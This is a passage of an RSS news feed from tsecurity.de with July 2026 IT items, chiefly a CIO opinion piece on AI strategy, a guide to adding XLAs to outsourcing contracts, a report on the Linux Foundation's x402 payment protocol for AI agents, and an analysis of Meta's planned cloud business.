<content:encoded><![CDATA[Xreal's XBX a01+ is the best pair of budget AR glasses we've seen yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[Taylor Sheridan's 'most underrated series' finally releases explosive full trailer — but Lioness season 3 has already impressed me in a completely different way]]></title>
<description><![CDATA[The full trailer for Lioness season 3 is finally here — but the most impressive part isn't anything seen in Taylor Sheridan's new story arc.]]></description>
<link>https://tsecurity.de/de/3676006/it-nachrichten/taylor-sheridans-most-underrated-series-finally-releases-explosive-full-trailer-but-lioness-season-3-has-already-impressed-me-in-a-completely-different-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676006/it-nachrichten/taylor-sheridans-most-underrated-series-finally-releases-explosive-full-trailer-but-lioness-season-3-has-already-impressed-me-in-a-completely-different-way/</guid>
<pubDate>Fri, 17 Jul 2026 14:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The full trailer for Lioness season 3 is finally here — but the most impressive part isn't anything seen in Taylor Sheridan's new story arc.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to add XLAs to your outsourcing contract]]></title>
<description><![CDATA[Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.



There are no easy answers either, but after advising clients in MSP relationships with major provide...]]></description>
<link>https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675704/it-nachrichten/how-to-add-xlas-to-your-outsourcing-contract/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Organizations usually face the same questions concerning XLAs: What should we measure, who owns the data, how should incentives work, and how will this change provider behavior after signature.</p>



<p class="wp-block-paragraph">There are no easy answers either, but after advising clients in MSP relationships with major providers, I’ve seen what works and what doesn’t. Successful XLA programs rarely start with massive transformation, nor rely on perfection before adding experience accountability to the contract.</p>



<h2 class="wp-block-heading">Start with the right metrics</h2>



<p class="wp-block-paragraph">The first concern I hear is what to measure. MSPs often steer that discussion toward metrics already in their reporting stack. That’s a trap.</p>



<p class="wp-block-paragraph">Unlike SLAs, which measure operational outputs, XLAs should focus on employee experience and <a href="https://www.cio.com/article/4166168/cios-rethink-its-operating-model-to-deliver-better-business-outcomes.html?utm=hybrid_search">business outcomes</a>. The strongest programs start with three to five high-signal metrics tied to the employee journeys creating the most friction. More than that and the program loses focus before it gains traction.</p>



<p class="wp-block-paragraph">I typically recommend starting with employee satisfaction scores, perceived lost productivity time, repeat incident rates, task completion success, and ease of getting support. Then focus early measurement on common employee experiences like service desk interactions, employee onboarding, application reliability, and device performance.</p>



<p class="wp-block-paragraph">Trying to measure everything is understandable, but it’s also one of the fastest ways to stall an XLA program.</p>



<h2 class="wp-block-heading">Precisely define roles and responsibilities</h2>



<p class="wp-block-paragraph">This is the part of XLA contract design where I spend the most time with clients, and it’s the part that major MSPs are most likely to leave vague if you let them. Accenture and TCS both have mature commercial teams skilled at agreeing to things in principle while avoiding specific accountability in writing. Don’t let that happen here.</p>



<p class="wp-block-paragraph">Employee experience isn’t solely the vendor’s responsibility. It’s genuinely shared, which is a more productive framing than pure vendor accountability, but only if the split is clearly spelled out. This is what I’ve found works in practice.</p>



<p class="wp-block-paragraph"><strong>Customer responsibilities</strong></p>



<ul class="wp-block-list">
<li>Selecting tools and platforms</li>



<li>Managing data infrastructure</li>



<li>Sharing experience data openly with the provider</li>



<li>Supporting internal improvement initiatives that the provider flags</li>
</ul>



<p class="wp-block-paragraph"><strong>Vendor responsibilities</strong></p>



<ul class="wp-block-list">
<li>Running the measurement cadence</li>



<li>Delivering monthly experience reporting</li>



<li>Identifying and surfacing improvement opportunities from the data</li>



<li>Executing operational improvements within agreed timelines</li>
</ul>



<p class="wp-block-paragraph">Without this level of specificity, XLA programs almost always become reporting exercises. The data gets collected, the scorecard gets presented, and nothing actually changes.</p>



<h2 class="wp-block-heading">Build flexible targets</h2>



<p class="wp-block-paragraph">One of the biggest mistakes in <a href="https://www.cio.com/article/4178678/your-outsourcing-contract-needs-xlas-not-just-slas.html?utm=hybrid_search">XLA design</a> is treating experience targets like traditional SLAs,  setting once at contract signing and left unchanged for years. Employee expectations, workforce patterns, and technology environments, after all, evolve constantly. A target that feels ambitious in year one may become meaningless by year three.</p>



<p class="wp-block-paragraph">The strongest XLA contracts include formal reviews every three to six months to recalibrate targets, align with business priorities, and raise expectations as experience improves. This prevents providers from locking in easy wins and coasting. When providers resist review cycles, it’s often a sign they believe the targets can be met on autopilot, a red flag in any XLA program.</p>



<h2 class="wp-block-heading">Use the right scoring method</h2>



<p class="wp-block-paragraph">One overlooked XLA best practice is how experience scores are calculated. Point-in-time scores can be distorted by outages, isolated incidents, or low survey participation, and providers sometimes exploit that volatility.</p>



<p class="wp-block-paragraph">I advise clients to calculate official XLA scores using rolling two-month averages instead of snapshots. It creates a more stable and accurate view of experience trends, and makes operational timing games much harder. Most importantly, define the scoring methodology explicitly in the contract. Don’t leave it to be worked out operationally after signing.</p>



<h2 class="wp-block-heading">Structure incentives carefully</h2>



<p class="wp-block-paragraph">Relying on penalty-only incentives is one of the most expensive XLA mistakes. On paper, the model is simple: miss the target, pay the penalty. In practice, it drives the wrong behavior. Providers focus on protecting themselves instead of improving employee experience, optimizing survey timing, and managing averages rather than solving problems collaboratively.</p>



<p class="wp-block-paragraph">I’ve seen this repeatedly in Infosys, HCL, and TCS relationships. The strongest XLA structures combine risk and reward where providers earn meaningful upside for exceeding targets, innovating, and improving outcomes. Penalties still matter, especially in mature programs, but they can’t be the only lever otherwise the contract becomes another SLA model with better branding.</p>



<h2 class="wp-block-heading">Define escalation processes</h2>



<p class="wp-block-paragraph">When experience scores fall below threshold, the contract needs to specify what happens next. This sounds obvious, but I’ve reviewed many service delivery measurement frameworks in clients’ incumbent MPS contracts that specify financial consequences without defining any collaborative process to address the underlying problem.</p>



<p class="wp-block-paragraph">The escalation language I push clients to include specifies:</p>



<ul class="wp-block-list">
<li>a joint review process triggered when scores fall below threshold.</li>



<li>root cause analysis expectations and timelines.</li>



<li>remediation planning requirements with named owners on both sides.</li>



<li>timelines for corrective action and progress reporting.</li>
</ul>



<p class="wp-block-paragraph">The framing matters as much as the mechanics. Escalation should be positioned as collaborative problem-solving, not blame assignment. Contracts that turn every missed score into a commercial dispute damage the relationship when provider engagement matters most. The best MSPs treat escalation as a shared diagnostic exercise, not a contractual confrontation.</p>



<h2 class="wp-block-heading">Establish an operating rhythm</h2>



<p class="wp-block-paragraph">Signing the contract is the beginning, not the end. In my experience, the organizations that get the most out of XLA programs are those that build a disciplined operating cadence and stick to it. The ones that treat XLAs as a reporting exercise almost never see meaningful improvement.</p>



<p class="wp-block-paragraph">This is the cadence I recommend:</p>



<p class="wp-block-paragraph"><strong>Daily</strong>: Both parties maintain live dashboards showing experience trends, application performance, regional issues, and persona-specific insights to catch emerging issues.</p>



<p class="wp-block-paragraph"><strong>Weekly</strong>: Customer and vendor teams hold focused working sessions to determine what improved experience this week, what hurt it, which remediation actions were completed, and what’s the priority for next week.</p>



<p class="wp-block-paragraph"><strong>Monthly</strong>: Formal governance meetings to review experience scores, improvement actions, root cause discussions, and cross-functional issues that need escalation.</p>



<p class="wp-block-paragraph"><strong>Biannually</strong>: Leadership steering meetings to assess overall experience performance, recalibrate targets, and align the XLA program with evolving business priorities to honestly evaluate whether or not the program is driving the outcomes the organization actually cares about.</p>



<h2 class="wp-block-heading">Common mistakes organizations make</h2>



<p class="wp-block-paragraph">After working through XLA design and implementation with clients across their MSP relationships, the failure modes are predictable. Here’s what to watch for.</p>



<p class="wp-block-paragraph"><strong>Setting targets before establishing a baseline<br></strong>Rushing into targets before understanding your current state is one of the fastest ways to create disputes. Spend the first three to six months gathering baseline data, then negotiate targets based on evidence rather than guesswork.</p>



<p class="wp-block-paragraph"><strong>Measuring too much<br></strong>More metrics don’t create more insight. Frameworks with 20 data points rarely survive operational reality. Start focused and expand gradually.</p>



<p class="wp-block-paragraph"><strong>Hiding the data<br></strong>Transparency is foundational to XLAs. Providers who obscure poor scores, especially when controlling the measurement platform, undermine the entire model. Clients who weaponize the data create the same problem. Build mutual transparency obligations into the contract.</p>



<p class="wp-block-paragraph"><strong>Over-relying on penalties<br></strong>Penalty-only structures recreate legacy SLA behaviors. Balanced incentives drive better long-term outcomes.</p>



<p class="wp-block-paragraph"><strong>Treating XLAs as static<br></strong>Employee expectations, technology, and business priorities evolve constantly. Without formal review cycles, XLA programs quickly become irrelevant<strong>.</strong></p>



<h2 class="wp-block-heading">Start smaller than you think you need to</h2>



<p class="wp-block-paragraph">The organizations that get XLAs right are rarely the ones with the most sophisticated tooling. They’re the ones that stopped waiting for a perfect program and introduced real accountability into the contract with what they had.</p>



<p class="wp-block-paragraph">The most effective starting points are often simple: agree on a focused set of experience metrics, establish a six-month review cycle, commit to shared visibility and data transparency, and create joint accountability for continuous improvement.</p>



<p class="wp-block-paragraph">From there, maturity develops over time. Governance builds trust, data becomes more actionable, and targets evolve alongside business priorities. The relationship shifts from compliance management to outcome-driven partnership.</p>



<p class="wp-block-paragraph">In my experience, the organizations that succeed are the ones that stopped accepting green scorecards at face value and demanded something more meaningful.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4198170/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can Meta really compete in the cloud business?]]></title>
<description><![CDATA[Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customer...]]></description>
<link>https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.bloomberg.com/news/articles/2026-07-01/meta-is-building-a-cloud-business-to-sell-excess-ai-compute">Meta is reportedly planning a cloud business</a> that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">infrastructure-as-a-service</a> and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.</p>



<p class="wp-block-paragraph">I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.</p>



<h2 class="wp-block-heading">A crowded neocloud market</h2>



<p class="wp-block-paragraph">The first problem Meta faces is that this is not an open opportunity. The <a href="https://www.infoworld.com/article/4140865/neoclouds-run-ai-cheaper-and-better.html">neocloud</a> space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in <a href="https://www.networkworld.com/article/964498/what-is-hybrid-cloud-computing.html">hybrid cloud</a>, operations, and industries where governance and regulatory rigor remain central.</p>



<p class="wp-block-paragraph">That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.</p>



<p class="wp-block-paragraph">This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.</p>



<h2 class="wp-block-heading">Harder than it looks</h2>



<p class="wp-block-paragraph">Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">software as a service</a> or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.</p>



<p class="wp-block-paragraph">The questions become very practical and very uncomfortable. How will tenants be isolated? How will <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity and access controls</a> work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?</p>



<p class="wp-block-paragraph">Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.</p>



<h2 class="wp-block-heading">Meta’s market readiness</h2>



<p class="wp-block-paragraph">Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.</p>



<p class="wp-block-paragraph">But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an <em>excellent </em>cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.</p>



<p class="wp-block-paragraph">That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.</p>



<h2 class="wp-block-heading">What exactly is Meta?</h2>



<p class="wp-block-paragraph">Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.</p>



<p class="wp-block-paragraph">That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.</p>



<p class="wp-block-paragraph">This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



